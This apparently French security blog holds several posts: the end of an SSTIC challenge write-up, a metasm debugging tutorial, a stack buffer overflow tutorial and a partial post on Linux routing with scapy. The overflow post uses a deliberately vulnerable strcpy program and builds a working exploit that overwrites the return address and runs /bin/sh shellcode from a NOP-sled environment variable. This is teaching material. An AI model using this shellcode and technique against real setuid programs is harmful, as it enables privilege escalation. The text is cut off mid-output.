Et enfin la récompense [13. Après quelques prières pour que ce fichier result ne soit pas encore une énième étape ;)] :

$ ./rc4_decrypt fd4185ff66a94afde5df94e3f63d8937 secret > result
$ file result
result: Linux rev 1.0 ext2 filesystem data, UUID=ace27cef-09d4-4d79-ad64-42597535b42e
$ sudo mount -o loop result /mnt/loop 
$ ls -l /mnt/loop
total 918K
-rw-r--r-- 1 root root 901K 2012-03-19 17:41 lobster
drwx------ 2 root root  12K 2012-03-19 17:40 lost+found
$ file /mnt/loop/lobster
lobster: RIFF (little-endian) data, AVI, 352 x 264, ~15 fps, video: H.264 X.264 or 
H.264, audio: MPEG-1 Layer 3 (stereo, 44100 Hz)
$ mplayer /mnt/loop/lobster


Remarque: En réalité le programme ci-dessus (fourni avec ce rapport) permet aussi de bruteforcer les 2 derniers octets de la clé. J'avoue n'avoir reversé le layer3 qu'après avoir soumis la solution. Les deux derniers octets de la clé ont été trouvé par bruteforce.

Conclusion

Pour ma première participation au challenge SSTIC, j'avoue ne pas être déçu. Je n'avais qu'une peur en commençant ce challenge, c'est que ça soit du reverse. J'avais visé juste !

Un grand merci aux auteurs, que ça soit pour la partie forensic, cryptographie ou bien entendu la partie reverse. Chaque partie était vraiment très intéressante, difficile mais sans pour autant être insurmontable[14. On se dit toujours ça après coup].

lundi 13 juin 2011

Metasm for fun

Durant mes pérégrinations sur le net je suis tombé sur un challenge intéressant : un programme setuid bit avec une sorte de buffer overflow à exploiter. Jusque là, rien de bien nouveau, mais la vulnérabilité se trouve dans la fonction d'enregistrement de l'utilisateur, celle là seulement appelée si on termine le mini-jeu proposé avant...

Là de suite ça devient plus compliqué pour automatiser l'exploit surtout que le mini-jeu utilise largement les fonctions de génération de nombres pseudo aléatoires... Heureusement le programme laisse la possibilité de passer en paramètre la valeur qui initialisera srand...

Tout devient donc forcément plus simple, il suffira de trouver le paramètre qui va générer le mini-jeu de sorte qu'on puisse le terminer facilement. Tout appel ultérieur au programme avec le même paramètre générera donc le même mini-jeu. Pour rappel, si on initialise le générateur pseudo-aléatoire avec la même valeur (srand), tous les appels aux fonctions rand produiront la même suite de nombre (il ne sera pas possible de prédire la suite de valeur, mais ce sera toujours la même).

Pour trouver cette suite qui nous intéresse, on pourrait très bien faire un petit programme appelant srand, puis faisant les appels successifs aux fonctions rand, celà conviendrait très bien et serait probablement bien plus simple. Mais l'objectif ici n'est pas la résolution du problème, c'est l'apprentissage en douceur de quelques fonctionnalités de metasm. On va donc utiliser cet outil en tant que débogueur, pour mettre les points d'arrêt aux endroits qui nous intéressent en affichant les bonnes valeurs. Tout cela sera accompagné d'un petit script ruby pour automatiser le tout, car metasm est écrit en ruby. Mais j'ai ouïe dire qu'un outil du même type va bientôt voir le jour, et lui écrit en python, je pense que ça va faire des heureux :p

Pour commencer, le programme... Je ne vais pas utiliser le programme du challenge dont je parle mais d'un programme qui a juste pour objectif d'illustrer mon propos.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
#define SIDE 10
 
#define HEROE 'H'
#define TRAP 'O'
#define TREASURE '*'
#define EMPTY '.'
 
#define NB_TRAPS 25
 
#define POS(i,j) (((i)*SIDE)+(j))
#define I(pos) ((pos)/SIDE)
#define J(pos) ((pos)%SIDE)
 
unsigned char g_map[SIDE*SIDE];
 
void set_element(const unsigned int e) {
 while(1) {
  unsigned int pos;
  pos = rand() % (SIDE*SIDE);
  //printf("%i\n",pos);
  if(g_map[pos] == EMPTY) {
   g_map[pos] = e;
   break;
  }
 }
}
 
void print_map(void) {
 unsigned int i,j;
 for(i=0;i<SIDE;i++) {
  for(j=0;j<SIDE;j++) {
   printf("%c ",g_map[POS(i,j)]);
  }
  printf("\n");
 }
}
 
void game(void) {
 // TODO
}
 
void instruction() {
 char r;
 printf("Voulez vous lire les instructions (o/n) ? ");
 r = getchar();
 if(r == 'o') printf("blabla\n");
 
}
 
 
int main(int argc, const char **argv) {
 unsigned int seed,i;
 
 if(argc < 2) {
  fprintf(stderr,"Usage: %s seed\n",argv[0]);
  exit(EXIT_FAILURE);
 }
 
 seed = strtoul(argv[1],NULL,10);
 
 // On initialise le générateur de nombre pseudo-aléatoire
 srand(seed);
 
 instruction();
 
 // Initialisation de la map
 memset(g_map,(int)EMPTY,SIDE*SIDE);
 
 // On place le héros
 set_element(HEROE);
 
 // On place le trésor
 set_element(TREASURE);
 
 // On place les pièges
 for(i=0; i<NB_TRAPS; i++) {
  set_element(TRAP);
 }
 
 //print_map();
 
 game();
 
 return EXIT_SUCCESS;
}
# gcc -Wall -o game game.c

Un petit programme simple, qui génère une carte de 10 sur 10 dans laquelle se trouve un trésor et 25 pièges. Il faut se déplacer sur la carte pour trouver le trésor, en évitant les pièges. Le programme s'assure quand il génère la carte de toujours placer un élément sur une case vide.

L'idée ici va être de trouver la bonne seed pour que notre héros se retrouve juste à coté du trésor et ce dès le démarrage (forcément...).

On commence par installer metasm, comme expliqué dans la documentation via mercurial :
# hg clone http://metasm.cr0.org/hg/metasm/

On configure l'interpréteur ruby pour qu'il puisse trouver les librairies de metasm :
# export RUBYLIB=$RUBYLIB:/metasm

Et on fait un petit test (il est nécessaire d'avoir la libgtk2-ruby pour le GUI) :
# ruby /metasm/samples/disassemble-gui.rb game
Il est même possible d'avoir un graphe à la IDA. Ici le graphe de la fonction main :


On place un breakpoint dans la fonction set_element, juste après le calcul du rand() % (SIDE*SIDE). Au premier breakpoint, on mémorise la valeur, ca sera la position du héros et au deuxième breakpoint, on trouvera la valeur du trésor. Il ne manquera plus qu'à faire la vérification : Si on est à coté du trésor c'est fini, sinon on tente avec une nouvelle graine.

#!/usr/bin/ruby1.9.1
# encoding: utf-8

require 'metasm'
include Metasm

file=ARGV[0];

# Fonction appelée pour afficher à l'écran
# Réouvre stdout juste pour le message
def print_data(d,out,stdout_bck)
 STDOUT.reopen(stdout_bck);
 print "#{d}";
 STDOUT.reopen(out); 
end

# On clone stdout, pour pouvoir l'utiliser par la suite
out = STDOUT.clone;

# On utilise un pipe pour gérer stdin
r,w = IO.pipe;
STDIN.reopen(r);
STDOUT.reopen(w);

side = 10;

100.times do |i|
 heroe_pos = -1;

 dbg = LinOS.create_debugger(file + " #{i+1}");

 # Breakpoint sur le résultat du rand % (SIDE*SIDE)
 dbg.bpx(0x80485d7) {
  if heroe_pos == -1 then
   heroe_pos = dbg.get_reg_value(:edx);
   dbg.continue_wait;
  else
   treasure_pos = dbg.get_reg_value(:edx);
   dbg.kill;
   print_data("#{i+1} => Heros (#{heroe_pos/side},#{heroe_pos%side}), Trésor (#{treasure_pos/side},#{treasure_pos%side})\n",w,out);
   if ((heroe_pos%side == treasure_pos%side) and ((heroe_pos/side)-(treasure_pos%side)).abs == 1) or ((heroe_pos%side-treasure_pos%side).abs == 1 and (heroe_pos/side == treasure_pos/side)) then
    print_data("SUCCEED ! Seed = #{i+1}\n",w,out);
    exit(0);
   else
    next;
   end
  end
 }

 # On répond à la question comme quoi on veut pas lire les instructions
 w.write("n\n");

 dbg.run_forever;
end

Le programme est très simple. Il y a une petite subtilité pour gérer la question posée par le programme au sujet des instructions.

# ruby break_srand.rb ./game
1 => Heros (8,3), Trésor (8,6)
2 => Heros (9,0), Trésor (1,9)
3 => Heros (4,6), Trésor (8,5)
4 => Heros (0,1), Trésor (8,3)
[...]
40 => Heros (0,6), Trésor (8,9)
41 => Heros (4,5), Trésor (6,6)
42 => Heros (6,6), Trésor (4,0)
43 => Heros (7,2), Trésor (7,1)
SUCCEED ! Seed = 43

Voilà un petit exemple des fonctionnalités disponibles et de la simplicité d'utilisation de metasm. La documentation n'étant pas très abondante, je pense que ce petit exemple pourra être utile.

samedi 23 avril 2011

Buffer Overflow

L'exploitation des buffers overflow remonte à la fin des année 1980 début des années 1990 avec notamment les attaques sur le démon fingerd d'Unix. Les informations détaillées sur comment exploiter cette vulnérabilités ont vraiment vu le jour en 1996 avec l'article Smashing The Stack For Fun And Profit publié dans Phrack.
Pour être en mesure d'exploiter et de comprendre cette vulnérabilité il est d'abord nécessaire d'avoir une bonne connaissance du fonctionnement de la pile d'un programme. Même si cette vulnérabilité ne touche pas que la pile, cet article se limitera à ce contexte.

Pour commencer il est nécessaire de désactiver toutes les protections qui peuvent être mises en place par l'OS ou le compilateur.

Un buffer est une zone mémoire dans laquelle va être stockée des données permettant le bon fonctionnement du programme. Le problème c'est qu'un buffer a une taille fixe à un instant t et si des précautions n'ont pas été prises, il est possible d'écrire plus de données que la taille du buffer. Le problème est que ces données vont écraser d'autres informations qui peuvent nous permettre dans certaines circonstances de modifier le comportement du programme.

Prenons un programme d'exemple appelé buffer_overflow.c :

#include <stdio.h>
#include <stdlib.h>
 
void unused_function(void) {
   printf("Impossible => fonction non utilisee\n");
}
 
void f(const char *s) {
   int i = 1;
   char buffer[12];
   strcpy(buffer,s);
   printf("i = %u\n",i);
}
 
int main(int argc, char **argv) {
   if(argc != 2) {
      fprintf(stderr,"Usage: buffer_overflow chaine");
      exit(EXIT_FAILURE);
   }
   f(argv[1]);
 
   return EXIT_SUCCESS;
}
On voit clairement le problème dans ce programme à la ligne 11. Le buffer ne fait que 12 octets, et la commande strcpy (contrairement à la commande strncpy) ne vérifie pas la taille. Si la longueur de s est supérieure à 12 octets, on dépassera la taille de buffer et on écrasera des informations qui n'ont rien à voir avec cette variable.

Regardons un peu l'exécution de ce programme :

# ./buffer_overflow AAA
i = 1
$ ./buffer_overflow $(ruby -e 'print "A"*12')
i = 0
$ ./buffer_overflow $(ruby -e 'print "A"*15')
i = 4276545


Tant qu'on ne dépasse pas la taille du buffer, tout se passe normalement. Par contre dès qu'on commence à déborder, on modifie la valeur de i en l'écrasant, chose qui paraissait impossible vu le code source du programme.
# ./buffer_overflow $(ruby -e 'print "A"*50')

i = 1094795585

Erreur de segmentation (core dumped)
Au bout d'une certaine quantité d'information au delà de la taille du buffer, on plante même lamentablement le programme.

Regardons un peu ce qu'il se passe avec gdb :

time0ut# gdb -q --args ./buffer_overflow $(ruby -e 'print "A"*12')
Reading symbols from time0ut/buffer_overflow...done.
gdb$ dis f
Dump of assembler code for function f:
   0x080482b4 <+0>: push   ebp
   0x080482b5 <+1>: mov    ebp,esp
   0x080482b7 <+3>: sub    esp,0x28
   0x080482ba <+6>: mov    DWORD PTR [ebp-0xc],0x1
   0x080482c1 <+13>: mov    eax,DWORD PTR [ebp+0x8]
   0x080482c4 <+16>: mov    DWORD PTR [esp+0x4],eax
   0x080482c8 <+20>: lea    eax,[ebp-0x18]
   0x080482cb <+23>: mov    DWORD PTR [esp],eax
   0x080482ce <+26>: call   0x80512a0 <strcpy>
   0x080482d3 <+31>: mov    eax,0x80ae90c
   0x080482d8 <+36>: mov    edx,DWORD PTR [ebp-0xc]
   0x080482db <+39>: mov    DWORD PTR [esp+0x4],edx
   0x080482df <+43>: mov    DWORD PTR [esp],eax
   0x080482e2 <+46>: call   0x8048e40 <printf>
   0x080482e7 <+51>: leave  
   0x080482e8 <+52>: ret    
End of assembler dump.
gdb$ b *0x080482ce   # On breakpoint avant le strcpy
Breakpoint 1 at 0x80482ce: file buffer_overflow.c, line 11.
gdb$ b *0x080482d3   # On breakpoint après le strcpy
Breakpoint 2 at 0x80482d3: file buffer_overflow.c, line 12.
gdb$ r
=> 0x80482ce : call   0x80512a0 <strcpy>
   0x80482d3 : mov    eax,0x80ae90c
   0x80482d8 : mov    edx,DWORD PTR [ebp-0xc]
Breakpoint 1, 0x080482ce in f at buffer_overflow.c:11
11  strcpy(buffer,s)
gdb$ print &buffer
$1 = (char (*)[12]) 0xbffff230
gdb$ print &i
$2 = (int *) 0xbffff23c
gdb$ print 0xbffff23c - 0xbffff230
$3 = 0xc
gdb$ x/16xb 0xbffff230
0xbffff230: 0x04 0xf3 0xff 0xbf 0xa0 0x89 0x04 0x08
0xbffff238: 0x00 0x01 0x30 0xb7 0x01 0x00 0x00 0x00
gdb$ c
=> 0x80482d3 : mov    eax,0x80ae90c
   0x80482d8 : mov    edx,DWORD PTR [ebp-0xc]
   0x80482db : mov    DWORD PTR [esp+0x4],edx
Breakpoint 2, f at buffer_overflow.c:12
12  printf("i = %u\n",i);
gdb$ x/16xb 0xbffff230
0xbffff230: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff238: 0x41 0x41 0x41 0x41 0x00 0x00 0x00 0x00
gdb$ c
i = 0
Program exited normally.


On voit bien avant le strcpy la valeur de i 0x01 0x00 0x00 0x00 (représentée en bleu) qui est écrasée par l'\0 ajouté par strcpy. Un seul octet est écrasé : celui où il y avait 0x01. i passe donc à 0.
Lorsqu'on passe en argument 15 "A", on écrase la variable i avec 3 octets supplémentaires (donc 4 au total), i prend donc la valeur \x41\x41\x41\x00 soit la valeur 4276545 en little endian. La valeur 1094795585 ne correspond qu'à des \x41 sur tous les octets.

Remarque: Si nous avions inversé la déclaration des variables buffer et i, il n'aurait pas été possible de faire un overflow sur i, car elle aurait eu une adresse inférieure à buffer.

Maintenant essayons de comprendre pourquoi sur notre dernier essai, en plus de modifier la valeur de i, le programme se plante. Si on se rappelle bien du fonctionnement de la pile, on sait que lors de la création d'un stack frame l'adresse suivant l'appel de la fonction est aussi sauvegardée sur la pile pour reprendre l'exécution du programme au bon endroit lors du retour de la fonction.
Que se passe t'il si lors de la copie de la chaîne dans notre buffer, on écrase cette adresse ? On va modifier le cours d'exécution du programme, et le retour de notre fonction f se fera à une nouvelle adresse, qui pointera dans notre cas sur n'importe quoi. Le programme a donc de fortes chances de planter. C'est exactement ce qu'il se passe ici.

time0ut# ./buffer_overflow $(ruby -e 'print "A"*50')
i = 1094795585
Erreur de segmentation (core dumped)
time0ut# gdb buffer_overflow -c core
Reading symbols from time0ut/buffer_overflow...done.
[New Thread 5625]
Core was generated by `./buffer_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()
gdb$ info register eip     # ou sa version light : i r eip
eip            0x41414141 0x41414141

Notre registre EIP (celui qui pointe sur la prochaine instruction à exécuter) à la valeur 0x41414141 soit AAAA. Lorsque le programme va tenter d'exécuter l'instruction à cette adresse, il ne pourra pas lire le contenu de cette zone mémoire et va donc planter.
Par contre, si on arrive à écrire une adresse valide, il est techniquement possible de faire exécuter du code non prévu à notre programme, lors de la restauration de l'adresse de retour de f.

time0ut# gdb -q buffer_overflow
Reading symbols from time0ut/buffer_overflow...done.
gdb$ dis unused_function
Dump of assembler code for function unused_function:
   0x080482a0 <+0>: push   ebp
   0x080482a1 <+1>: mov    ebp,esp
   0x080482a3 <+3>: sub    esp,0x18
   0x080482a6 <+6>: mov    DWORD PTR [esp],0x80ae8e8
   0x080482ad <+13>: call   0x8048fd0 <puts>
   0x080482b2 <+18>: leave  
   0x080482b3 <+19>: ret    
End of assembler dump.
gdb$ q
time0ut# ./buffer_overflow $(ruby -e 'print "\xa6\x82\x04\x08"*50')
i = 134513318
Impossible => fonction non utilisee
Erreur de segmentation (core dumped)


Plutôt que d'écrire une série de A, on a réécrit une adresse valide plusieurs fois, de façon à écraser non seulement la valeur i, mais aussi la valeur de retour de f. Cette adresse pointe sur le printf de notre fonction unused_function. Lorsque f se termine, la valeur de retour devient 0x080482a6 (\xa6\x82\x04\x08 en little endian) et le programme exécute l'instruction se trouvant à cette adresse. Le printf de unused_function qui n'était jamais appelé est donc exécuté. Inutile de dire ici qu'étant donné qu'on a complètement court-circuité toute la structure du programme a un moment ou à un autre, le programme se plante.

time0ut# gdb -q --args buffer_overflow $(ruby -e 'print "\xa6\x82\x04\x08"*50')
Reading symbols from time0ut/buffer_overflow...done.
gdb$ dis main
Dump of assembler code for function main:
   0x080482e9 <+0>: push   ebp
   0x080482ea <+1>: mov    ebp,esp
   0x080482ec <+3>: and    esp,0xfffffff0
   0x080482ef <+6>: sub    esp,0x10
   0x080482f2 <+9>: cmp    DWORD PTR [ebp+0x8],0x2
   0x080482f6 <+13>: je     0x804832c <main+67>
   0x080482f8 <+15>: mov    eax,ds:0x80ce624
   0x080482fd <+20>: mov    edx,eax
   0x080482ff <+22>: mov    eax,0x80ae914
   0x08048304 <+27>: mov    DWORD PTR [esp+0xc],edx
   0x08048308 <+31>: mov    DWORD PTR [esp+0x8],0x1d
   0x08048310 <+39>: mov    DWORD PTR [esp+0x4],0x1
   0x08048318 <+47>: mov    DWORD PTR [esp],eax
   0x0804831b <+50>: call   0x8048e70 <fwrite>
   0x08048320 <+55>: mov    DWORD PTR [esp],0x1
   0x08048327 <+62>: call   0x8048c20 <exit>
   0x0804832c <+67>: mov    eax,DWORD PTR [ebp+0xc]
   0x0804832f <+70>: add    eax,0x4
   0x08048332 <+73>: mov    eax,DWORD PTR [eax]
   0x08048334 <+75>: mov    DWORD PTR [esp],eax
   0x08048337 <+78>: call   0x80482b4 <f>
   0x0804833c <+83>: mov    eax,0x0    # Adresse de retour de f
   0x08048341 <+88>: leave  
   0x08048342 <+89>: ret    
End of assembler dump.
gdb$ b *0x80482ce    # avant le strcpy
Breakpoint 1 at 0x80482ce: file buffer_overflow.c, line 11.
gdb$ b *0x80482d3    # après le strcpy
Breakpoint 2 at 0x80482d3: file buffer_overflow.c, line 12.
gdb$ r
Breakpoint 1, 0x080482ce in f  at buffer_overflow.c:11
gdb$ x/8xw buffer
0xbffff230: 0xbffff244 0x080489a0 0x5cdd3700 0x00000001
0xbffff240: 0xbffff190 0x08048db5 0xbffff1a8 0x0804833c   # eip a été sauvegardé ici
gdb$ n
Breakpoint 2, f at buffer_overflow.c:12
12  printf("i = %u\n",i);
gdb$ x/8xw buffer
0xbffff230: 0x080482a6 0x080482a6 0x080482a6 0x080482a6
0xbffff240: 0x080482a6 0x080482a6 0x080482a6 0x080482a6   # On a modifié la valeur
gdb$ x/2i 0x080482a6
   0x80482a6 : mov    DWORD PTR [esp],0x80ae8e8
   0x80482ad : call   0x8048fd0 <puts>


La mémoire ressemble après le strcpy à cela :
Il aurait suffit de réécrire juste la mémoire contenant la sauvegarde de EIP, plutôt que de tout réécrire. Le problème c'est qu'il n'est pas forcément simple de connaître cette adresse de façon précise.
La distance séparant les variables locales d'une fonction à la sauvegarde du registre EIP ne peut pas toujours être connue. Cela dépend du système sur lequel on se trouve et de la façon dont a été compilé le programme. Certains compilateurs peuvent ajouter des protections, du padding... La façon dont a été compilé le programme enlève toutes les protections, cependant gcc peut ajouter du padding et c'est le cas ici.

On peut voir cela dans le prologue de la fonction de f :

0x080482b4 <+0>: push   ebp
   0x080482b5 <+1>: mov    ebp,esp
   0x080482b7 <+3>: sub    esp,0x28

40 octets (0x28) sont réservés pour les variables locales, alors que seulement 12 + 4 octets auraient été nécessaires. En réécrivant donc l'adresse souhaitée suffisamment de fois, on est pratiquement sûr de bien tomber (en tout cas pour cet exemple). C'est peu élégant, mais efficace.

Une technique plus élégante consiste à utiliser des utilitaires de metasploit : pattern_create.rb et pattern_offset.rb. L'idée consiste à générer un pattern suffisamment long avec pattern_create.rb, à le passer au programme pour le planter et enfin à regarder la valeur de EIP.
Il suffit de passer la valeur de EIP à pattern_offset.rb qui nous donnera la taille nécessaire pour arriver jusqu'au registre (et donc d'ajouter 4 octets supplémentaire pour l'écraser).

Merci à m_101 pour m'avoir fait découvrir ces outils sur son blog.
time0ut# /msf3/tools/pattern_create.rb 50
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab
time0ut# ./buffer_overflow Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab
i = 1093951809
Erreur de segmentation (core dumped)
time0ut# gdb -q buffer_overflow -c core
Reading symbols from time0ut/buffer_overflow...done.
[New Thread 6873]
Core was generated by `./buffer_overflow Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab'.
Program terminated with signal 11, Segmentation fault.
#0  0x62413961 in ?? ()
gdb$ q
time0ut# /msf3/tools/pattern_offset.rb $(ruby -e 'print "\x62\x41\x39\x61".reverse')
28    # Il faut donc 28 octets pour arriver à EIP, les 4 suivant l'écraseront
time0ut# ./buffer_overflow $(ruby -e 'print "\xa6\x82\x04\x08"*(28/4+4)')
i = 134513318
Impossible => fonction non utilisee
Erreur de segmentation (core dumped)

C'est bien joli d'exécuter une fonction qui n'aurait pas dû l'être mais ce qui est vraiment intéressant, c'est d'exécuter le code que l'on souhaite, même si celui-ci ne fait pas parti du programme initial. Pour cela, il faut être capable de mapper ce code dans la mémoire du programme. Une fois cela effectué, il suffira d'utiliser la technique décrite précédemment pour l'utiliser.

Plusieurs techniques existent pour mettre notre code dans la mémoire du programme comme par exemple le passer en ligne de commande, directement dans le buffer source de la vulnérabilité. Cependant ici on va utiliser une technique plus simple et plus sûre, on va passer notre code par variable d'environnement.

Chaque programme a accès automatiquement aux variables d'environnement, même s'il ne les utilise pas. Elles font parties de sa mémoire. Le seul problème va être de connaître l'adresse de notre variable, car il va falloir pointer dessus. Pour cela le programme suivant doit faire parti de notre boite à outils :
#include <stdio.h>
#include <stdlib.h>
 
int main(int argc,char**argv) {
   char *addr;
   if(argc != 2) {
      printf("Usage: %s env_variable\n",argv[0]);
      exit(EXIT_FAILURE);
   }
   addr = getenv(argv[1]);
   if(addr == NULL) {
      printf("Environnement variable %s does not exist\n",argv[1]);
   } else {
      printf("%s is located at %p\n",argv[1],addr);
   }
 
   return EXIT_SUCCESS;
}

Ce programme permet de connaître l'adresse d'une variable d'environnement (si elle existe). D'un programme à l'autre, l'adresse d'une variable d'environnement varie peu.
# ./get_env PATH
PATH is located at 0xbffffc15
Le code qui sera passé au programme est un shellcode, qui permettra d'obtenir un shell s'il est exécuté. Le développement de ce code dépasse le cadre de cet article, nous en utiliserons un tout fait que l'on peut trouver sur shellstorm par exemple.
# ruby -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"' | ndisasm - -b 32
00000000  31C0              xor eax,eax
00000002  50                push eax
00000003  682F2F7368        push dword 0x68732f2f
00000008  682F62696E        push dword 0x6e69622f
0000000D  89E3              mov ebx,esp
0000000F  50                push eax
00000010  89E2              mov edx,esp
00000012  53                push ebx
00000013  89E1              mov ecx,esp
00000015  B00B              mov al,0xb
00000017  CD80              int 0x80

Une fois en possession de notre code, on va le mettre dans une variable d'environnement précédé d'un certain nombre d'octets ayant la valeur 0x90. L'opcode 0x90 représente l'instruction NOP qui ne fait rien en assembleur si ce n'est passer à l'instruction suivante. L'avantage est qu'il suffit de pointer sur l'un des NOP pour que notre shellcode s'exécute (le programme passera de NOP en NOP jusqu'à la charge utile). Si nous n'en avions pas mis, il aurait fallu pointer exactement sur le début de notre shellcode, à l'octet près. Comme l'adresse de la variable d'environnement peut changer d'un programme à l'autre, il aurait été beaucoup plus difficile de tomber sur la bonne adresse. Les NOP permettent donc de s'affranchir d'une erreur trop importante sur l'adresse finale.
# export SC=$(ruby -e 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"')
# ./get_env SC
SC is located at 0xbffffcb6
On connait donc grossièrement l'adresse du premier NOP de notre shellcode. On va se laisser une marge de 50 octets histoire d'être au milieu de tous les NOP : 0xbffffce8 (0xbffffcb6 + 50).

Il ne nous reste plus qu'à écraser l'adresse sauvegardée de EIP sur la pile par cette adresse, pour que lors du retour de notre fonction f on exécute notre shellcode :

# ./buffer_overflow $(ruby -e 'print "\xe8\xfc\xff\xbf"*8')
i = 3221224680
$
Ca marche, on récupère le prompt de notre shell. Regardons ce qu'il s'est vraiment passé avec gdb :

time0ut# gdb -q --args buffer_overflow $(ruby -e 'print "\xe8\xfc\xff\xbf"*8')
Reading symbols from time0ut/buffer_overflow...done.
gdb$ b *0x080482d3   # On breakpoint après le strcpy
Breakpoint 1 at 0x80482d3: file buffer_overflow.c, line 12.
gdb$ r
Breakpoint 2, f at buffer_overflow.c:12
12  printf("i = %u\n",i);
gdb$ x/8xw buffer
0xbffff230: 0xbffffce8 0xbffffce8 0xbffffce8 0xbffffce8
0xbffff240: 0xbffffce8 0xbffffce8 0xbffffce8 0xbffffce8   # L'adresse a bien été réécrite
gdb$ x/20xw 0xbffffce8
0xbffffce8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffcf8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffd08: 0x90909090 0x31909090 0x2f6850c0 0x6868732f
0xbffffd18: 0x6e69622f 0x8950e389 0xe18953e2 0x80cd0bb0
0xbffffd28: 0x53494800 0x4e4f4354 0x4c4f5254 0x6e67693d     # On est bien sur les NOP, donc c'est gagné
gdb$ x/5i 0xbffffce8
   0xbffffce8: nop
   0xbffffce9: nop
   0xbffffcea: nop
   0xbffffceb: nop
   0xbffffcec: nop
gdb$ x/10xb 0xbffffcaa
0xbffffcaa: 0x3d 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffffcb2: 0x90 0x90

L'adresse du premier NOP était en réalité en 0xbffffcab, alors que notre programme précédent nous avait donné 0xbffffcb6 (soit une différence de 11 octets). La technique des NOP nous a permis de passer outre cette approximation.

jeudi 21 avril 2011

Weak Host Model

Cela fait plusieurs fois que je suis confronté dans mon travail à un comportement déroutant de la pile TCP/IP de Linux.

Prenons un exemple concret : nous avons une machine linux qui a deux interfaces réseaux et qui sert de routeur. Cette machine n'effectue aucun filtrage.

# ifconfig
eth0      Link encap:Ethernet  HWaddr 00:19:b9:0d:a1:6d  
          inet addr:10.0.0.1  Bcast:10.255.255.255  Mask:255.0.0.0
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)
          Interrupt:16 

eth1      Link encap:Ethernet  HWaddr 00:0e:2e:ee:ca:87  
          inet addr:192.168.0.1  Bcast:192.168.0.255  Mask:255.255.2255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:127551 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1300 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:12749638 (12.7 MB)  TX bytes:154130 (154.1 KB)
          Interrupt:18 Base address:0xdc00 

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)
# iptables -L
Chain INPUT (policy ACCEPT)
target     prot opt source               destination         

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination         

Chain OUTPUT (policy ACCEPT)
target     prot opt source
# sysctl -e net.ipv4.ip_forward
net.ipv4.ip_forward = 1
Maintenant prenons une machine cliente connectée sur le même réseau que eth0 de notre routeur. La passerelle par défaut de notre machine cliente est notre routeur.

# ifconfig
eth0      Link encap:Ethernet  HWaddr 00:17:42:2e:7d:77  
          inet adr:10.0.0.2  Bcast:10.255.255.255  Masque:255.0.0.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          Packets reçus:900572 erreurs:0 :0 overruns:0 frame:0
          TX packets:296685 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 lg file transmission:1000 
          Octets reçus:98442936 (98.4 MB) Octets transmis:50927297 (50.9 MB)
          Interruption:16 

lo        Link encap:Boucle locale  
          inet adr:127.0.0.1  Masque:255.0.0.0
          adr inet6: ::1/128 Scope:Hôte
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          Packets reçus:624989 erreurs:0 :0 overruns:0 frame:0
          TX packets:624989 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 lg file transmission:0 
          Octets reçus:41130183 (41.1 MB) Octets transmis:41130183 (41.1 MB)
# route -n
Table de routage IP du noyau
Destination     Passerelle      Genmask         Indic Metric Ref    Use Iface
10.0.0.0        0.0.0.0         255.0.0.0       U     0      0        0 eth0
0.0.0.0         10.0.0.1        0.0.0.0         UG    0      0        0 eth0


Faisons quelques tests de connectivité sur la machine cliente pour voir ce qu'il se passe.

time0ut_client# scapy
Welcome to Scapy (2.1.0)
>>>  srp1(Ether()/IP(dst="10.0.0.1")/ICMP())
Begin emission:
...Finished to send 1 packets.
*
Received 4 packets, got 1 answers, remaining 0 packets
<Ether  dst=00:17:42:2e:7d:77 src=00:19:b9:0d:a1:6d type=0x800 |
<IP  version=4L ihl=5L tos=0x0 len=28 id=25698 flags= frag=0L ttl=64 proto=icmp chksum=0x27d src=10.0.0.1 dst=10.0.0.2 options=[] |
<ICMP  type=echo-reply code=0 chksum=0xffff id=0x0 seq=0x0 |
<Padding  load='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' |>>>>
>>>  srp1(Ether()/IP(dst="192.168.0.1")/ICMP())
Begin emission:
Finished to send 1 packets.
*
Received 1 packets, got 1 answers, remaining 0 packets
<Ether  dst=00:17:42:2e:7d:77 src=00:19:b9:0d:a1:6d type=0x800 |
<IP  version=4L ihl=5L tos=0x0 len=28 id=25699 flags= frag=0L ttl=64 proto=icmp chksum=0x4bd3 src=192.168.0.1 dst=10.0.0.2 options=[] |
